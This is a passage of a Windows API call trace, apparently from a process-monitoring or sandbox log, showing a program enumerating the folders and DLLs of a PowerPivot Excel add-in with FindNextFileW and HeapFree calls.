dwReserved1=0x2e0000, cFileName="PowerViewRes.sr-Latn-CS.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0105.176] FindClose (in: hFindFile=0x4260290 | out: hFindFile=0x4260290) returned 1 [0105.177] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0105.177] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16035c5a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16035c5a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1 [0105.180] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0105.180] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c66c57, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16166f59, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16166f59, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1 [0105.181] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0105.181] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16140cde, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16140cde, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1 [0105.184] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0105.184] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7b9ee02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1 [0105.186] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0105.186] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf637b042, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1 [0105.187] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0105.187] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4c15e5f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x163ef7bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x163ef7bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHS", cAlternateFileName="")) returned 1 [0105.553] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0105.553] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x164159c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164159c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 1 [0105.555] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0105.555] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x164159c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164159c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 0 [0105.555] FindClose (in: hFindFile=0x4260750 | out: hFindFile=0x4260750) returned 1 [0105.555] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0105.555] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PowerPivot Excel Add-in", cAlternateFileName="POWERP~1")) returned 1 [0105.557] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0105.557] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x165b9401, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1 [0105.560] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0105.560] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16605845, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16605845, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1 [0105.562] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0105.562] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x164ae360, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1 [0105.564] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0105.564] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16651cf9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16651cf9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1 [0105.566] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0105.566] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1662bb01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1662bb01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1 [0105.568] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0105.568] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1 [0105.570] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0105.570] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff580e7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1 [0105.572] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0105.572] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en", cAlternateFileName="")) returned 1 [0105.572] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0105.573] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1 [0105.575] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0105.575] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1480f75, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1 [0105.577] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0105.577] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0194432, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu", cAlternateFileName="")) returned 1 [0105.579] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0105.579] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1 [0105.581] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0105.581] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf458770a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1 [0105.584] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0105.584] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf05741b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl", cAlternateFileName="")) returned 1 [0105.586] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0105.586] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1 [0105.588] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0105.588] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1 [0105.591] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0105.591] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0f23aa6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1 [0105.593] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0105.593] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe4d066, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1 [0105.945] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0105.945] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf158c060, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1 [0105.947] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0105.947] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf41a796b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41a796b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf41cdbc1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Interop.MSDASC.dll", cAlternateFileName="INTERO~1.DLL")) returned 1 [0105.949] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0105.949] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1 [0105.951] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0105.951] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kk", cAlternateFileName="")) returned 1 [0105.954] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0105.954] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe4d066, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1 [0105.956] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0105.956] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1 [0105.960] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0105.960] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1 [0105.962] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0105.962] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf632eb9d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf632eb9d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf632eb9d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x164c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MDXQueryGenerator.DLL", cAlternateFileName="MDXQUE~1.DLL")) returned 1 [0105.965] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0105.965] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03d07a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167f56e9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1 [0105.968] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0105.968] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf45d3b76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1 [0105.970] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0105.970] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5ad675f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5ad675f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5ad675f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6faa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.DLL", cAlternateFileName="")) returned 1 [0105.972] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0105.972] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa879350, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2ba48, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.dll", cAlternateFileName="POWERP~1.DLL")) returned 1 [0105.975] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0105.975] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe00baf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, 